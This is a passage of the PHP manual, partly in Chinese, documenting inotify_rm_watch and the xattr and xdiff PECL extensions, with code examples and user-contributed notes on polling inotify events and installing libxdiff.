  • stream_select() - Runs the equivalent of the select() system call on the given arrays of streams with a timeout specified by seconds and microseconds
  • stream_set_blocking() - 为资源流设置阻塞或者阻塞模式
  • inotify_queue_len() - 如果有待处理事件，返回大于零的数字

User Contributed Notes

lingtalfi 05-Dec-2014 04:52
once the watch is read, it is removed from the queue.
(inotify_queue_len will return 0)
qriff at hotmail dot com 20-Sep-2013 11:50
<?php

$wd_constants = array(
1 => array('IN_ACCESS','File was accessed (read)'),
2 => array('IN_MODIFY','File was modified'),
4 => array('IN_ATTRIB','Metadata changed (e.g. permissions, mtime, etc.)'),
8 => array('IN_CLOSE_WRITE','File opened for writing was closed'),
16 => array('IN_CLOSE_NOWRITE','File not opened for writing was closed'),
32 => array('IN_OPEN','File was opened'),
128 => array('IN_MOVED_TO','File moved into watched directory'),
64 => array('IN_MOVED_FROM','File moved out of watched directory'),
256 => array('IN_CREATE','File or directory created in watched directory'),
512 => array('IN_DELETE','File or directory deleted in watched directory'),
1024 => array('IN_DELETE_SELF','Watched file or directory was deleted'),
2048 => array('IN_MOVE_SELF','Watch file or directory was moved'),
24 => array('IN_CLOSE','Equals to IN_CLOSE_WRITE | IN_CLOSE_NOWRITE'),
192 => array('IN_MOVE','Equals to IN_MOVED_FROM | IN_MOVED_TO'),
4095 => array('IN_ALL_EVENTS','Bitmask of all the above constants'),
8192 => array('IN_UNMOUNT','File system containing watched object was unmounted'),
16384 => array('IN_Q_OVERFLOW','Event queue overflowed (wd is -1 for this event)'),
32768 => array('IN_IGNORED','Watch was removed (explicitly by inotify_rm_watch() or because file was removed or filesystem unmounted'),
1073741824 => array('IN_ISDIR','Subject of this event is a directory'),
1073741840 => array('IN_CLOSE_NOWRITE','High-bit: File not opened for writing was closed'),
1073741856 => array('IN_OPEN','High-bit: File was opened'),
1073742080 => array('IN_CREATE','High-bit: File or directory created in watched directory'),
1073742336 => array('IN_DELETE','High-bit: File or directory deleted in watched directory'),
16777216 => array('IN_ONLYDIR','Only watch pathname if it is a directory (Since Linux 2.6.15)'),
33554432 => array('IN_DONT_FOLLOW','Do not dereference pathname if it is a symlink (Since Linux 2.6.15)'),
536870912 => array('IN_MASK_ADD','Add events to watch mask for this pathname if it already exists (instead of replacing mask).'),
2147483648 => array('IN_ONESHOT','Monitor pathname for one event, then remove from watch list.')
);

$path = $argv[1];

$fd = inotify_init();
stream_set_blocking($fd, 0);
$watch_descriptor = inotify_add_watch($fd, $path, IN_ALL_EVENTS);

$poll = 0;
while (true) {
  $ecount = 0;
  $fcount = 0;
  // Poll for queued events, generated meanwhile
  // Because while (true) { } has some seriously bad mojo
  sleep(5);
  $poll++;
  $events = inotify_read($fd);
  if ($events) $ecount = count($events);
  echo "=== ".date("Y-m-d H:i:s")." inotify poll #$poll contains ".$ecount." events";
  if ($events) echo ":";
  echo "\n";
  if ($events) {
        foreach ($events as $event) {
                $fcount++;
                echo "        inotify Event #".$fcount." - Object: ".$event['name'].": ".$wd_constants[$event['mask']][0]." (".$wd_constants[$event['mask']][1].")\n";
        }
  }
}

inotify_rm_watch($fd, $watch_descriptor);

fclose($fd);

?>


移除 inotify 实例的监听

  • ? inotify_read
  • xattr ?
  • PHP Manual
  • Inotify 函数
  • 移除 inotify 实例的监听

inotify_rm_watch

(PECL inotify >= 0.1.2)

inotify_rm_watch — 移除 inotify 实例的监听

说明

inotify_rm_watch(resource $inotify_instance, int $watch_descriptor): bool

inotify_rm_watch() 移除 inotify_instance() 实例的 watch_descriptor 监听。

参数

inotify_instance

inotify_init()返回的资源

watch_descriptor

实例要移除的监听。

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • inotify_init() - 初始化 inotify 实例

User Contributed Notes

There are no user contributed notes for this page.


xattr

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • xattr 函数
    • xattr_get — Get an extended attribute
    • xattr_list — Get a list of extended attributes
    • xattr_remove — Remove an extended attribute
    • xattr_set — Set an extended attribute
    • xattr_supported — Check if filesystem supports extended attributes

User Contributed Notes

There are no user contributed notes for this page.


简介

The xattr extension allows for the manipulation of extended attributes on a filesystem.

User Contributed Notes

There are no user contributed notes for this page.


需求

To use xattr, you will need libattr installed. It is available at » http://savannah.nongnu.org/projects/attr/.

Note:

These functions only work on filesystems that support extended attributes, and have them enabled at mount time. Some common filesystems that support extended attributes are ext2, ext3, reiserfs, jfs, and xfs.

User Contributed Notes

sven _ oostenbrink atserver yahoo dot co 07-Aug-2009 06:29
An important thing to realize, if you wish to use xattr, you need a filesystem that has extended attributes functionalty and also has those enabled! I lost quite a bit of time with puzzling why xattr was not working with my ext4 system, until I found that the extended attributes, by default, are not enabled.

Adding user_xattr to the mounting configuration of the filesystem where I was working fixed the problem

/dev/sdb2    /home               ext4    relatime,user_xattr        0       2


安装

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/xattr.

PECL 扩展的 DLL 当前不可用。参见 在 Windows 上构建章节。

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

XATTR_ROOT (int)
Set attribute in root (trusted) namespace. Requires root privileges.
XATTR_DONTFOLLOW (int)
Do not follow the symbolic link but operate on symbolic link itself.
XATTR_CREATE (int)
Function will fail if extended attribute already exists.
XATTR_REPLACE (int)
Function will fail if extended attribute doesn't exist.

User Contributed Notes

There are no user contributed notes for this page.


xattr 函数

Table of Contents

  • xattr_get — Get an extended attribute
  • xattr_list — Get a list of extended attributes
  • xattr_remove — Remove an extended attribute
  • xattr_set — Set an extended attribute
  • xattr_supported — Check if filesystem supports extended attributes

User Contributed Notes

There are no user contributed notes for this page.


Get an extended attribute

  • ? xattr 函数
  • xattr_list ?
  • PHP Manual
  • xattr 函数
  • Get an extended attribute

xattr_get

(PECL xattr >= 0.9.0)

xattr_get — Get an extended attribute

说明

xattr_get(string $filename, string $name, int $flags = 0): string

This function gets the value of an extended attribute of a file.

扩展的属性有两种 不同的命名空间：user 和 root。user 命名空间对所有用户均有效，而 root 命名空间仅对拥有 root 权限的用户有效。 xattr 默认在 user 命名空间上操作，但可使用 flags 参数进行更改。

参数

filename

The file from which we get the attribute.

name

The name of the attribute.

flags

Supported xattr flags
XATTR_DONTFOLLOW | Do not follow the symbolic link but operate on symbolic link itself.
XATTR_ROOT | Set attribute in root (trusted) namespace. Requires root privileges.

返回值

Returns a string containing the value or false if the attribute doesn't exist.

示例

Example #1 Checks if system administrator has signed the file

<?php
$file = '/usr/local/sbin/some_binary';
$signature = xattr_get($file, 'Root signature', XATTR_ROOT);

/* ... check if $signature is valid ... */

?>

参见

  • xattr_list() - Get a list of extended attributes
  • xattr_set() - Set an extended attribute
  • xattr_remove() - Remove an extended attribute

User Contributed Notes

There are no user contributed notes for this page.


Get a list of extended attributes

  • ? xattr_get
  • xattr_remove ?
  • PHP Manual
  • xattr 函数
  • Get a list of extended attributes

xattr_list

(PECL xattr >= 0.9.0)

xattr_list — Get a list of extended attributes

说明

xattr_list(string $filename, int $flags = 0): array

This functions gets a list of names of extended attributes of a file.

扩展的属性有两种 不同的命名空间：user 和 root。user 命名空间对所有用户均有效，而 root 命名空间仅对拥有 root 权限的用户有效。 xattr 默认在 user 命名空间上操作，但可使用 flags 参数进行更改。

参数

filename

The path of the file.

flags

Supported xattr flags
XATTR_DONTFOLLOW | Do not follow the symbolic link but operate on symbolic link itself.
XATTR_ROOT | Set attribute in root (trusted) namespace. Requires root privileges.

返回值

This function returns an array with names of extended attributes.

示例

Example #1 Prints names of all extended attributes of file

<?php
$file = 'some_file';
$root_attributes = xattr_list($file, XATTR_ROOT);
$user_attributes = xattr_list($file);

echo "Root attributes: \n";
foreach ($root_attributes as $attr_name) {
printf("%s\n", $attr_name);
}

echo "\n User attributes: \n";
foreach ($attributes as $attr_name) {
printf("%s\n", $attr_name);
}

?>

参见

  • xattr_get() - Get an extended attribute

User Contributed Notes

There are no user contributed notes for this page.


Remove an extended attribute

  • ? xattr_list
  • xattr_set ?
  • PHP Manual
  • xattr 函数
  • Remove an extended attribute

xattr_remove

(PECL xattr >= 0.9.0)

xattr_remove — Remove an extended attribute

说明

xattr_remove(string $filename, string $name, int $flags = 0): bool

This function removes an extended attribute of a file.

扩展的属性有两种 不同的命名空间：user 和 root。user 命名空间对所有用户均有效，而 root 命名空间仅对拥有 root 权限的用户有效。 xattr 默认在 user 命名空间上操作，但可使用 flags 参数进行更改。

参数

filename

The file from which we remove the attribute.

name

The name of the attribute to remove.

flags

Supported xattr flags
XATTR_DONTFOLLOW | Do not follow the symbolic link but operate on symbolic link itself.
XATTR_ROOT | Set attribute in root (trusted) namespace. Requires root privileges.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Removes all extended attributes of a file

<?php
$file = 'some_file';
$attributes = xattr_list($file);

foreach ($attributes as $attr_name) {
xattr_remove($file, $attr_name);
}
?>

参见

  • xattr_list() - Get a list of extended attributes
  • xattr_set() - Set an extended attribute
  • xattr_get() - Get an extended attribute

User Contributed Notes

There are no user contributed notes for this page.


Set an extended attribute

  • ? xattr_remove
  • xattr_supported ?
  • PHP Manual
  • xattr 函数
  • Set an extended attribute

xattr_set

(PECL xattr >= 0.9.0)

xattr_set — Set an extended attribute

说明

xattr_set(
string $filename,
string $name,
string $value,
int $flags = 0
): bool

This function sets the value of an extended attribute of a file.

扩展的属性有两种 不同的命名空间：user 和 root。user 命名空间对所有用户均有效，而 root 命名空间仅对拥有 root 权限的用户有效。 xattr 默认在 user 命名空间上操作，但可使用 flags 参数进行更改。

参数

filename

The file in which we set the attribute.

name

The name of the extended attribute. This attribute will be created if it doesn't exist or replaced otherwise. You can change this behaviour by using the flags parameter.

value

The value of the attribute.

flags

Supported xattr flags
XATTR_CREATE | Function will fail if extended attribute already exists.
XATTR_REPLACE | Function will fail if extended attribute doesn't exist.
XATTR_DONTFOLLOW | Do not follow the symbolic link but operate on symbolic link itself.
XATTR_ROOT | Set attribute in root (trusted) namespace. Requires root privileges.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Sets extended attributes on .wav file

<?php
$file = 'my_favourite_song.wav';
xattr_set($file, 'Artist', 'Someone');
xattr_set($file, 'My ranking', 'Good');
xattr_set($file, 'Listen count', '34');

/* ... other code ... */

printf("You've played this song %d times", xattr_get($file, 'Listen count'));
?>

参见

  • xattr_get() - Get an extended attribute
  • xattr_remove() - Remove an extended attribute

User Contributed Notes

blr at blr dot hu 07-Oct-2015 11:02
Be aware when use on filesystem without xattr support, it returns true. (Bug reported)


Check if filesystem supports extended attributes

  • ? xattr_set
  • xdiff ?
  • PHP Manual
  • xattr 函数
  • Check if filesystem supports extended attributes

xattr_supported

(PECL xattr >= 1.0.0)

xattr_supported — Check if filesystem supports extended attributes

说明

xattr_supported(string $filename, int $flags = 0): bool

This functions checks if the filesystem holding the given file supports extended attributes. Read access to the file is required.

参数

filename

The path of the tested file.

flags

Supported xattr flags
XATTR_DONTFOLLOW Do not follow the symbolic link but operate on symbolic link itself.

返回值

This function returns true if filesystem supports extended attributes, false if it doesn't and null if it can't be determined (for example wrong path or lack of permissions to file).

示例

Example #1 xattr_supported() example

The following code checks if we can use extended attributes.

<?php
$file = 'some_file';

if (xattr_supported($file)) {
/* ... make use of some xattr_* functions ... */
}

?>

参见

  • xattr_get() - Get an extended attribute
  • xattr_list() - Get a list of extended attributes

User Contributed Notes

There are no user contributed notes for this page.


xdiff

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • xdiff 函数
    • xdiff_file_bdiff_size — Read a size of file created by applying a binary diff
    • xdiff_file_bdiff — Make binary diff of two files
    • xdiff_file_bpatch — Patch a file with a binary diff
    • xdiff_file_diff_binary — 别名 xdiff_file_bdiff
    • xdiff_file_diff — Make unified diff of two files
    • xdiff_file_merge3 — Merge 3 files into one
    • xdiff_file_patch_binary — 别名 xdiff_file_bpatch
    • xdiff_file_patch — Patch a file with an unified diff
    • xdiff_file_rabdiff — Make binary diff of two files using the Rabin's polynomial fingerprinting algorithm
    • xdiff_string_bdiff_size — Read a size of file created by applying a binary diff
    • xdiff_string_bdiff — Make binary diff of two strings
    • xdiff_string_bpatch — Patch a string with a binary diff
    • xdiff_string_diff_binary — 别名 xdiff_string_bdiff
    • xdiff_string_diff — Make unified diff of two strings
    • xdiff_string_merge3 — Merge 3 strings into one
    • xdiff_string_patch_binary — 别名 xdiff_string_bpatch
    • xdiff_string_patch — Patch a string with an unified diff
    • xdiff_string_rabdiff — Make binary diff of two strings using the Rabin's polynomial fingerprinting algorithm

User Contributed Notes

There are no user contributed notes for this page.


简介

xdiff extension enables you to create and apply patch files containing differences between different revisions of files.

This extension supports two modes of operation - on strings and on files, as well as two different patch formats - unified and binary. Unified patches are excellent for text files as they are human-readable and easy to review. For binary files like archives or images, binary patches will be adequate choice as they are binary safe and handle non-printable characters well.

Starting from version 1.5.0 there are two different sets of functions for generating binary patches. New functions - xdiff_string_rabdiff() and xdiff_file_rabdiff() generate output compatible with older functions but are typically faster and generate smaller results. For more details about methods of generating binary patches and differences between them, please check » libxdiff website.

This extension uses libxdiff to implement these functions. Please see » http://www.xmailserver.org/xdiff-lib.html for more information.

User Contributed Notes

There are no user contributed notes for this page.


需求

To use xdiff, you will need libxdiff installed, available on the libxdiff homepage » http://www.xmailserver.org/xdiff-lib.html.

Note:

You'll need at least libxdiff 0.7 for these functions to be aware of memory_limit.

User Contributed Notes

just _note 12-Jan-2019 06:26
installing libxdiff for linux (debian)

wget http://www.xmailserver.org/libxdiff-0.22.tar.gz
tar -xzf libxdiff-0.22.tar.gz
cd libxdiff-0.22
./configure
make
make install


安装

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/xdiff.

PECL 扩展的 DLL 当前不可用。参见 在 Windows 上构建章节。

User Contributed Notes

rbrisita at hotmail dot com 11-Nov-2015 10:34
It is also reported here with a solution:

https://bugs.php.net/bug.php?id=58905
Anonymous 18-Oct-2015 12:58
This package currently does not compile on PHP 5.4 and above.

https://bugs.php.net/bug.php?id=60414


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

XDIFF_PATCH_NORMAL (int)
This flag indicates that xdiff_string_patch() and xdiff_file_patch() functions should create result by applying patch to original content thus creating newer version of file. This is the default mode of operation.
XDIFF_PATCH_REVERSE (int)
This flag indicated that xdiff_string_patch() and xdiff_file_patch() functions should create result by reversing patch changed from newer content thus creating original version.

User Contributed Notes

There are no user contributed notes for this page.


xdiff 函数

Table of Contents

  • xdiff_file_bdiff_size — Read a size of file created by applying a binary diff
  • xdiff_file_bdiff — Make binary diff of two files
  • xdiff_file_bpatch — Patch a file with a binary diff
  • xdiff_file_diff_binary — 别名 xdiff_file_bdiff
  • xdiff_file_diff — Make unified diff of two files
  • xdiff_file_merge3 — Merge 3 files into one
  • xdiff_file_patch_binary — 别名 xdiff_file_bpatch
  • xdiff_file_patch — Patch a file with an unified diff
  • xdiff_file_rabdiff — Make binary diff of two files using the Rabin's polynomial fingerprinting algorithm
  • xdiff_string_bdiff_size — Read a size of file created by applying a binary diff
  • xdiff_string_bdiff — Make binary diff of two strings
  • xdiff_string_bpatch — Patch a string with a binary diff
  • xdiff_string_diff_binary — 别名 xdiff_string_bdiff
  • xdiff_string_diff — Make unified diff of two strings
  • xdiff_string_merge3 — Merge 3 strings into one
  • xdiff_string_patch_binary — 别名 xdiff_string_bpatch
  • xdiff_string_patch — Patch a string with an unified diff
  • xdiff_string_rabdiff — Make binary diff of two strings using the Rabin's polynomial fingerprinting algorithm

User Contributed Notes

amir.laher 05-Apr-2005 02:09
the xdiff functions require your initial string to end with a \n character.

When you use xdiff_string_diff, the initial string must either be zero-length or end with \n
eg. $patch= xdiff_string_diff($string,$string2);

if not, the patch will return an empty string.
xdiff_string_patch($string,$patch);

This will not normally affect xdiff_file_diff, but it's annoying nevertheless. To prevent this unexpected effect, I append a \n to the string before applying the initial diff, as follows.
if (!ereg("\n$",$string)) $string.="\n";


Read a size of file created by applying a binary diff

  • ? xdiff 函数
  • xdiff_file_bdiff ?
  • PHP Manual
  • xdiff 函数
  • Read a size of file created by applying a binary diff

xdiff_file_bdiff_size

(PECL xdiff >= 1.5.0)

xdiff_file_bdiff_size — Read a size of file created by applying a binary diff

说明

xdiff_file_bdiff_size(string $file): int

Returns a size of a result file that would be created after applying binary patch from file file to the original file.

参数

file

The path to the binary patch created by xdiff_string_bdiff() or xdiff_string_rabdiff() function.

返回值

Returns the size of file that would be created.

示例

Example #1 xdiff_file_bdiff_size() example

The following code applies reads a size of file that would be created after applying a binary diff.

<?php
$length = xdiff_string_bdiff_size('file.bdiff');
echo "Resulting file will be $length bytes long";
?>

参见

  • xdiff_file_bdiff() - Make binary diff of two files
  • xdiff_file_rabdiff() - Make binary diff of two files using the Rabin's polynomial fingerprinting algorithm
  • xdiff_file_bpatch() - Patch a file with a binary diff

User Contributed Notes

There are no user contributed notes for this page.


Make binary diff of two files

  • ? xdiff_file_bdiff_size
  • xdiff_file_bpatch ?
  • PHP Manual
  • xdiff 函数
  • Make binary diff of two files

xdiff_file_bdiff

(PECL xdiff >= 1.5.0)

xdiff_file_bdiff — Make binary diff of two files

说明

xdiff_file_bdiff(string $old_file, string $new_file, string $dest): bool

Makes a binary diff of two files and stores the result in a patch file. This function works with both text and binary files. Resulting patch file can be later applied using xdiff_file_bpatch()/xdiff_string_bpatch().

参数

old_file

Path to the first file. This file acts as "old" file.

new_file

Path to the second file. This file acts as "new" file.

dest

Path of the resulting patch file. Resulting file contains differences between "old" and "new" files. It is in binary format and is human-unreadable.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 xdiff_file_bdiff() example

The following code makes binary diff of two archives.

<?php
$old_version = 'my_script_1.0.tgz';
$new_version = 'my_script_1.1.tgz';

xdiff_file_bdiff($old_version, $new_version, 'my_script.bdiff');
?>

注释

Note:

Both files will be loaded into memory so ensure that your memory_limit is set high enough.

参见

  • xdiff_file_bpatch() - Patch a file with a binary diff

User Contributed Notes

There are no user contributed notes for this page.


Patch a file with a binary diff

  • ? xdiff_file_bdiff
  • xdiff_file_diff_binary ?
  • PHP Manual
  • xdiff 函数
  • Patch a file with a binary diff

xdiff_file_bpatch

(PECL xdiff >= 1.5.0)

xdiff_file_bpatch — Patch a file with a binary diff

说明

xdiff_file_bpatch(string $file, string $patch, string $dest): bool

Patches a file with a binary patch and stores the result in a file dest. This function accepts patches created both via xdiff_file_bdiff() and xdiff_file_rabdiff() functions or their string counterparts.

参数

file

The original file.

patch

The binary patch file.

dest

Path of the resulting file.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 xdiff_file_bpatch() example

The following code applies binary diff to a file.

<?php
$old_version = 'archive-1.0.tgz';
$patch = 'archive.bpatch';

$result = xdiff_file_bpatch($old_version, $patch, 'archive-1.1.tgz');
if ($result) {
echo "File patched";
} else {
echo "File couldn't be patched";
}

?>

注释

Note:

Both files (file and patch) will be loaded into memory so ensure that your memory_limit is set high enough.

参见

  • xdiff_file_bdiff() - Make binary diff of two files
  • xdiff_file_rabdiff() - Make binary diff of two files using the Rabin's polynomial fingerprinting algorithm

User Contributed Notes

There are no user contributed notes for this page.


别名 xdiff_file_bdiff

  • ? xdiff_file_bpatch
  • xdiff_file_diff ?
  • PHP Manual
  • xdiff 函数
  • 别名 xdiff_file_bdiff

xdiff_file_diff_binary

(PECL xdiff >= 0.2.0)

xdiff_file_diff_binary — 别名 xdiff_file_bdiff()

说明

xdiff_file_diff_binary(string $old_file, string $new_file, string $dest): bool

Makes a binary diff of two files and stores the result in a patch file. This function works with both text and binary files. Resulting patch file can be later applied using xdiff_file_bpatch().

Starting with version 1.5.0 this function is an alias of xdiff_file_bdiff().

参数

old_file

Path to the first file. This file acts as "old" file.

new_file

Path to the second file. This file acts as "new" file.

dest

Path of the resulting patch file. Resulting file contains differences between "old" and "new" files. It is in binary format and is human-unreadable.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 xdiff_file_diff_binary() example

The following code makes binary diff of two archives.

<?php
$old_version = 'my_script_1.0.tgz';
$new_version = 'my_script_1.1.tgz';

xdiff_file_diff_binary($old_version, $new_version, 'my_script.bdiff');
?>

注释

Note:

Both files will be loaded into memory so ensure that your memory_limit is set high enough.

参见

  • xdiff_file_bdiff() - Make binary diff of two files
  • xdiff_file_bpatch() - Patch a file with a binary diff

User Contributed Notes

There are no user contributed notes for this page.


Make unified diff of two files

  • ? xdiff_file_diff_binary
  • xdiff_file_merge3 ?
  • PHP Manual
  • xdiff 函数
  • Make unified diff of two files

xdiff_file_diff

(PECL xdiff >= 0.2.0)

xdiff_file_diff — Make unified diff of two files

说明

xdiff_file_diff(
string $old_file,
string $new_file,
string $dest,
int $context = 3,
bool $minimal = false
): bool

Makes an unified diff containing differences between old_file and new_file and stores it in dest file. The resulting file is human-readable. An optional context parameter specifies how many lines of context should be added around each change. Setting minimal parameter to true will result in outputting the shortest patch file possible (can take a long time).

参数

old_file

Path to the first file. This file acts as "old" file.

new_file

Path to the second file. This file acts as "new" file.

dest

Path of the resulting patch file.

context

Indicates how many lines of context you want to include in diff result.

minimal

Set this parameter to true if you want to minimalize size of the result (can take a long time).

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 xdiff_file_diff() example

The following code makes unified diff of two php files with context length of 2.

<?php
$old_version = 'my_script.php';
$new_version = 'my_new_script.php';

xdiff_file_diff($old_version, $new_version, 'my_script.diff', 2);
?>

注释

Note:

This function doesn't work well with binary files. To make diff of binary files use xdiff_file_bdiff()/xdiff_file_rabdiff() function.

参见

  • xdiff_file_patch() - Patch a file with an unified diff

User Contributed Notes

There are no user contributed notes for this page.


Merge 3 files into one

  • ? xdiff_file_diff
  • xdiff_file_patch_binary ?
  • PHP Manual
  • xdiff 函数
  • Merge 3 files into one

xdiff_file_merge3

(PECL xdiff >= 0.2.0)

xdiff_file_merge3 — Merge 3 files into one

说明

xdiff_file_merge3(
string $old_file,
string $new_file1,
string $new_file2,
string $dest
): mixed

Merges three files into one and stores the result in a file dest. The old_file is an original version while new_file1 and new_file2 are modified versions of an original.

参数

old_file

Path to the first file. It acts as "old" file.

new_file1

Path to the second file. It acts as modified version of old_file.

new_file2

Path to the third file. It acts as modified version of old_file.

dest

Path of the resulting file, containing merged changed from both new_file1 and new_file2.

返回值

Returns true if merge was successful, string with rejected chunks if it was not or false if an internal error happened.

示例

Example #1 xdiff_file_merge3() example

The following code merges three files into one.

<?php
$old_version = 'original_script.php';
$fix1 = 'script_with_fix1.php';
$fix2 = 'script_with_fix2.php';

$errors = xdiff_file_merge3($old_version, $fix1, $fix2, 'fixed_script.php');
if (is_string($errors)) {
echo "Rejects:\n";
echo $errors;
}
?>

参见

  • xdiff_string_merge3() - Merge 3 strings into one

User Contributed Notes

There are no user contributed notes for this page.


别名 xdiff_file_bpatch

  • ? xdiff_file_merge3
  • xdiff_file_patch ?
  • PHP Manual
  • xdiff 函数
  • 别名 xdiff_file_bpatch

xdiff_file_patch_binary

(PECL xdiff >= 0.2.0)

xdiff_file_patch_binary — 别名 xdiff_file_bpatch()

说明

xdiff_file_patch_binary(string $file, string $patch, string $dest): bool

Patches a file with a binary patch and stores the result in a file dest. This function accepts patches created both via xdiff_file_bdiff() or xdiff_file_rabdiff() functions or their string counterparts.

Starting with version 1.5.0 this function is an alias of xdiff_file_bpatch().

参数

file

The original file.

patch

The binary patch file.

dest

Path of the resulting file.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 xdiff_file_patch_binary() example

The following code applies binary diff to a file.

<?php
$old_version = 'archive-1.0.tgz';
$patch = 'archive.bpatch';

$result = xdiff_file_patch_binary($old_version, $patch, 'archive-1.1.tgz');
if ($result) {
echo "File patched";
} else {
echo "File couldn't be patched";
}

?>

注释

Note:

Both files (file and patch) will be loaded into memory so ensure that your memory_limit is set high enough.

参见

  • xdiff_string_patch_binary() - 别名 xdiff_string_bpatch

User Contributed Notes

There are no user contributed notes for this page.


Patch a file with an unified diff

  • ? xdiff_file_patch_binary
  • xdiff_file_rabdiff ?
  • PHP Manual
  • xdiff 函数
  • Patch a file with an unified diff

xdiff_file_patch

(PECL xdiff >= 0.2.0)

xdiff_file_patch — Patch a file with an unified diff

说明

xdiff_file_patch(
string $file,
string $patch,
string $dest,
int $flags = DIFF_PATCH_NORMAL
): mixed

Patches a file with a patch and stores the result in a file. patch has to be an unified diff created by xdiff_file_diff()/xdiff_string_diff() function. An optional flags parameter specifies mode of operation.

参数

file

The original file.

patch

The unified patch file. It has to be created using xdiff_string_diff(), xdiff_file_diff() functions or compatible tools.

dest

Path of the resulting file.

flags

Can be either XDIFF_PATCH_NORMAL (default mode, normal patch) or XDIFF_PATCH_REVERSE (reversed patch).

Starting from version 1.5.0, you can also use binary OR to enable XDIFF_PATCH_IGNORESPACE flag.

返回值

Returns false if an internal error happened, string with rejected chunks if patch couldn't be applied or true if patch has been successfully applied.

示例

Example #1 xdiff_file_patch() example

The following code applies unified diff to a file.

<?php
$old_version = 'my_script-1.0.php';
$patch = 'my_script.patch';

$errors = xdiff_file_patch($old_version, $patch, 'my_script-1.1.php');
if (is_string($errors)) {
echo "Rejects:\n";
echo $errors;
}

?>

Example #2 Patch reversing example

The following code reverses a patch.

<?php
$new_version = 'my_script-1.1.php';
$patch = 'my_script.patch';

$errors = xdiff_file_patch($new_version, $patch, 'my_script-1.0.php', XDIFF_PATCH_REVERSE);
if (is_string($errors)) {
echo "Rejects:\n";
echo $errors;
}

?>

参见

  • xdiff_file_diff() - Make unified diff of two files

User Contributed Notes

There are no user contributed notes for this page.


Make binary diff of two files using the Rabin's polynomial fingerprinting algorithm

  • ? xdiff_file_patch
  • xdiff_string_bdiff_size ?
  • PHP Manual
  • xdiff 函数
  • Make binary diff of two files using the Rabin's polynomial fingerprinting algorithm

xdiff_file_rabdiff

(PECL xdiff >= 1.5.0)

xdiff_file_rabdiff — Make binary diff of two files using the Rabin's polynomial fingerprinting algorithm

说明

xdiff_file_rabdiff(string $old_file, string $new_file, string $dest): bool

Makes a binary diff of two files and stores the result in a patch file. The difference between this function and xdiff_file_bdiff() is different algorithm used which should result in faster execution and smaller diff produced. This function works with both text and binary files. Resulting patch file can be later applied using xdiff_file_bpatch()/xdiff_string_bpatch().

For more details about differences between algorithm used please check » libxdiff website.

参数

old_file

Path to the first file. This file acts as "old" file.

new_file

Path to the second file. This file acts as "new" file.

dest

Path of the resulting patch file. Resulting file contains differences between "old" and "new" files. It is in binary format and is human-unreadable.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 xdiff_file_rabdiff() example

The following code makes binary diff of two archives.

<?php
$old_version = 'my_script_1.0.tgz';
$new_version = 'my_script_1.1.tgz';

xdiff_file_rabdiff($old_version, $new_version, 'my_script.bdiff');
?>

注释

Note:

Both files will be loaded into memory so ensure that your memory_limit is set high enough.

参见

  • xdiff_file_bpatch() - Patch a file with a binary diff

User Contributed Notes

There are no user contributed notes for this page.


Read a size of file created by applying a binary diff

  • ? xdiff_file_rabdiff
  • xdiff_string_bdiff ?
  • PHP Manual
  • xdiff 函数
  • Read a size of file created by applying a binary diff

xdiff_string_bdiff_size

(PECL xdiff >= 1.5.0)

xdiff_string_bdiff_size — Read a size of file created by applying a binary diff

说明

xdiff_string_bdiff_size(string $patch): int

Returns a size of a result file that would be created after applying binary patch to the original file.

参数

patch

The binary patch created by xdiff_string_bdiff() or xdiff_string_rabdiff() function.

返回值

Returns the size of file that would be created.

示例

Example #1 xdiff_string_bdiff_size() example

The following code applies reads a size of file that would be created after applying a binary diff.

<?php
$binary_patch = file_get_contents('file.bdiff');
$length = xdiff_string_bdiff_size($binary_patch);
echo "Resulting file will be $length bytes long";
?>

参见

  • xdiff_string_bdiff() - Make binary diff of two strings
  • xdiff_string_rabdiff() - Make binary diff of two strings using the Rabin's polynomial fingerprinting algorithm
  • xdiff_string_bpatch() - Patch a string with a binary diff

User Contributed Notes

There are no user contributed notes for this page.


Make binary diff of two strings

  • ? xdiff_string_bdiff_size
  • xdiff_string_bpatch ?
  • PHP Manual
  • xdiff 函数
  • Make binary diff of two strings

xdiff_string_bdiff

(PECL xdiff >= 1.5.0)

xdiff_string_bdiff — Make binary diff of two strings

说明

xdiff_string_bdiff(string $old_data, string $new_data): string

Makes a binary diff of two strings and returns the result. This function works with both text and binary data. Resulting patch can be later applied using xdiff_string_bpatch()/xdiff_file_bpatch().

参数

old_data

First string with binary data. It acts as "old" data.

new_data

Second string with binary data. It acts as "new" data.

返回值

Returns string with binary diff containing differences between "old" and "new" data or false if an internal error occurred.

参见

  • xdiff_string_bpatch() - Patch a string with a binary diff

User Contributed Notes

There are no user contributed notes for this page.


Patch a string with a binary diff

  • ? xdiff_string_bdiff
  • xdiff_string_diff_binary ?
  • PHP Manual
  • xdiff 函数
  • Patch a string with a binary diff

xdiff_string_bpatch

(PECL xdiff >= 1.5.0)

xdiff_string_bpatch — Patch a string with a binary diff

说明

xdiff_string_bpatch(string $str, string $patch): string

Patches a string str with a binary patch. This function accepts patches created both via xdiff_string_bdiff() and xdiff_string_rabdiff() functions or their file counterparts.

参数

str

The original binary string.

patch

The binary patch string.

返回值

Returns the patched string, or false on error.

参见

  • xdiff_string_bdiff() - Make binary diff of two strings
  • xdiff_string_rabdiff() - Make binary diff of two strings using the Rabin's polynomial fingerprinting algorithm

User Contributed Notes

